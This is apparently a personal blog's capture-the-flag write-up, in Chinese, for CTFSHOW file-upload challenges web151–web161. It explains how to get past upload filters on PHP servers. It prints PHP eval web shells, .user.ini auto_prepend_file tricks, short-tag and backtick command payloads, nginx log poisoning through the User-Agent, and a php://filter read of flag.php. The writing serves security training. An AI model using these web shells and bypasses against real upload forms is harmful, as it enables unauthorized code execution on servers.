CTFSHOW-文件上传

文章摘要

Bpple-GPT

CTFSHOW-文件上传


文件上传手段

...

web151

前端过滤

前端过滤,抓包修改后缀,连接获取flag

image-20250114214610593

查找得到

image-20250114214730414

web152

后端不能单一校验

跟上一题一样的方法

但是这一题主要是考查单一对MIME的检测(Content-Type),全面的Type如下

  1. text/plain
  2. text/html
  3. text/css
  4. text/javascript
  5. image/jpeg
  6. image/png
  7. image/gif
  8. image/svg+xml
  9. audio/mpeg
  10. audio/wav
  11. audio/ogg
  12. video/mp4
  13. video/ogg
  14. video/webm
  15. application/json
  16. application/xml
  17. application/javascript
  18. application/pdf
  19. application/octet-stream
  20. application/x-www-form-urlencoded
  21. multipart/form-data
  22. font/woff
  23. font/woff2
  24. font/ttf
  25. application/zip
  26. application/gzip
  27. application/vnd.ms-excel
  28. application/vnd.openxmlformats-officedocument.spreadsheetml.sheet

web153

后端不能单一校验

常规方法不行了

image-20250114220648061

 auto_append_file = "2.png"
 //auto_prepend_file 是 PHP 中的一个配置指令,用于指定一个 PHP 文件,该文件会在每个 PHP 脚本执行之前自动包含(即前置加载)。这个功能通常用于在多个脚本中共享一些公共代码,比如初始化设置、加载库文件、安全检查等

上传.user.ini

.user.ini在nginx或者Apache都可以用

**关于 **.user.ini 文件

.user.ini 是一种配置文件,通常用于 PHP 项目中,用于覆盖或补充服务器的主配置文件(如 php.ini)中的设置。它允许开发者为特定目录或项目自定义 PHP 配置,而无需修改全局的 php.ini 文件。

.user.ini 的作用

  • 局部配置:为特定目录或项目设置 PHP 配置。
  • 灵活性:无需修改服务器的主配置文件(php.ini),避免影响其他项目。
  • 便捷性:适合在共享主机环境中使用,开发者没有权限修改全局配置时。

image-20250114223330347

访问index.php

蚁剑直接连,找到flag

 <?php
 
 /*
 # -*- coding: utf-8 -*-
 # @Author: h1xa
 # @Date:   2020-10-24 19:34:52
 # @Last Modified by:   h1xa
 # @Last Modified time: 2020-10-24 21:46:57
 # @email: [email protected]
 # @link: https://ctfer.com
 
 */
 error_reporting(0);
 if ($_FILES["file"]["error"] > 0)
 {
     $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
 }
 else
 {
     $filename = $_FILES["file"]["name"];
     $filesize = ($_FILES["file"]["size"] / 1024);
     if($filesize>1024){
         $ret = array("code"=>1,"msg"=>"文件超过1024KB");
     }else{
         if($_FILES['file']['type'] == 'image/png'){
             $arr = pathinfo($filename);
             $ext_suffix = $arr['extension'];
             if($ext_suffix!='php'){
                 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                 $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
             }else{
                 $ret = array("code"=>2,"msg"=>"文件类型不合规");
             }
         
         }else{
             $ret = array("code"=>2,"msg"=>"文件类型不合规");
         }
     
     }
 
 }
 
 echo json_encode($ret);

Web154

后端不能单二校验

上传png后回应文件不合规,我们可以尝试短链接

 <? @eval($_POST['attack']);?>
 
 //<?phP @eval($_POST['attack']);?>
 //<?= eval($_POST['attack']);?>

image-20250115111042073

上传

 auto_prepend_file=mum.png
 short_open_tag = On

image-20250115111222945

跟上一题一样,直接连接可以拿到flag

查看过滤,多了一个匹配PHP字符的步骤

 <?php
 error_reporting(0);
 if ($_FILES["file"]["error"] > 0)
 {
     $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]);
 }
 else
 {
     $filename = $_FILES["file"]["name"];
     $filesize = ($_FILES["file"]["size"] / 1024);
     if($filesize>1024){
         $ret = array("code"=>1,"msg"=>"文件超过1024KB");
     }else{
         if($_FILES['file']['type'] == 'image/png'){
             $arr = pathinfo($filename);
             $ext_suffix = $arr['extension'];
             if($ext_suffix!='php'){
                 $content = file_get_contents($_FILES["file"]["tmp_name"]);
                 if(strrpos($content, "php")==FALSE){
                     move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]);
                     $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]);
                 }else{
                     $ret = array("code"=>3,"msg"=>"文件内容不合规");
                 }
                 
             }else{
                 $ret = array("code"=>2,"msg"=>"文件类型不合规");
             }
         
         }else{
             $ret = array("code"=>2,"msg"=>"文件类型不合规");
         }
     
     }
 
 }
 
 echo json_encode($ret);

web155

后端不能单三校验

过滤了大写绕过,我们可以继续采用上一题的短标签绕过

web156

再次执行上面的方法发现不放行

ban了[]符号

可以替换成{}符号

image-20250115114021535

web157

以往的方法都走不通,ban了{},[],,,发现连;号都过滤了

当只有一句的话,后面的;可以不加

 <?= system("cat ../fla*")?>

上传.user.ini

访问index.php

image-20250115115849635

web158

单六检测

看了一下同样的方法可以使用

web159

**在前两题的基础上过滤了 **(),我们没法使用命令执行函数

 <?= `cat ../fl*`?>

web160

这个过滤更加严格,这个题的思路我学习了一下是这样的

利用日志包含

**nginx 默认日志地址为 **/var/log/nginx/access.log

  1. 上传mum.png,
 <?=include"/var/lo"."g/nginx/access.lo"."g"?>
  1. 上传.user.ini
 auto_prepend_file=shell.png
  1. 修改UA
 <?php @eval($_GET["attack"]);?>
  1. 连接

web161

增加了对图片头的检测

可以采用上一题的思路

同时也可以,利用伪协议把flag.php带出来

 GIF89a
 <?=include"ph"."p://filter/convert.base64-encode/resource=../flag.ph"."p"?>
 
 GIF89a
 auto_prepend_file=mum.png

用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

isfp 探险家

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

65 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

550
Hello Halo

2024-10-30

532
本地部署LLM

2024-08-22

511
Uptime Kuma

2024-11-29

507
241

访问统计